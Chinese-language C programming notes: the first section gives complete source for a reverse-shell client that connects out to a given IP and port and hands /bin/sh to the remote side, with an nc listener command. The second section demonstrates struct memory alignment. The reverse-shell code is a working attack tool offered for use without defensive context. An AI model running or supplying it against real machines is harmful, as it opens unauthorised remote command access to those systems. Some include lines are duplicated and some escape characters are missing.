0x01 实现反弹shell
客户端,编译后执行命令
demo 127.0.0.1 1234
,服务端:nc -lvvp 1234
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
void usage();
char shell[]="/bin/sh";
char message[]="hacker welcomen";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf("Usage: %s <reflect ip> <port>n", prog);
exit(-1);
}
0x02 结构体在内存中对齐的问题
#include<stdio.h>
#include<stdlib.h>
struct data_1
{
int a;
char b;
};
struct data_2{
char a;
int b;
};
struct data_3{
char a;
char b;
int c;
};
struct data_4{
char a;
char b;
int *c;
};
struct data_5{
char a;
int b;
char c;
};
int main(int argc, char const *argv[])
{
/* code */
struct data_1 A;
printf("data_1 a : 0x%llx\t data_1 b : 0x%llx \n",&A.a,&A.b);
printf("size : %d\n",sizeof(A));
struct data_2 B;
printf("data_2 a : 0x%llx\t data_2 b : 0x%llx \n",&B.a,&B.b);
printf("size : %d\n",sizeof(B));
struct data_3 C;
printf("data_3 a : 0x%llx\t data_3 b : 0x%llx \t data_3 b : 0x%llx \n",&C.a,&C.b,&C.c);
printf("size : %d\n",sizeof(C));
struct data_4 D;
printf("data_4 a : 0x%llx\t data_4 b : 0x%llx \t data_4 b : 0x%llx \n",&D.a,&D.b,&D.c);
printf("size : %d\n",sizeof(D));
struct data_5 E;
printf("data_5 a : 0x%llx\t data_5 b : 0x%llx \t data_5 b : 0x%llx \n",&E.a,&E.b,&E.c);
printf("size : %d\n",sizeof(E));
return 0;
}
/*
out:
data_1 a : 0x7ffc29be7f1c data_1 b : 0x7ffc29be7f20
size : 8
data_2 a : 0x7ffc29be7f24 data_2 b : 0x7ffc29be7f28
size : 8
data_3 a : 0x7ffc29be7f2c data_3 b : 0x7ffc29be7f2d data_3 b : 0x7ffc29be7f30
size : 8
data_4 a : 0x7ffc29be7f40 data_4 b : 0x7ffc29be7f41 data_4 b : 0x7ffc29be7f48
size : 16
data_5 a : 0x7ffc29be7f34 data_5 b : 0x7ffc29be7f38 data_5 b : 0x7ffc29be7f3c
size : 12
*/
结构体会按照成员占内存最多的数据类型的字节数进行对齐。
若成员相同,成员排序不同,则会影响结构体的大小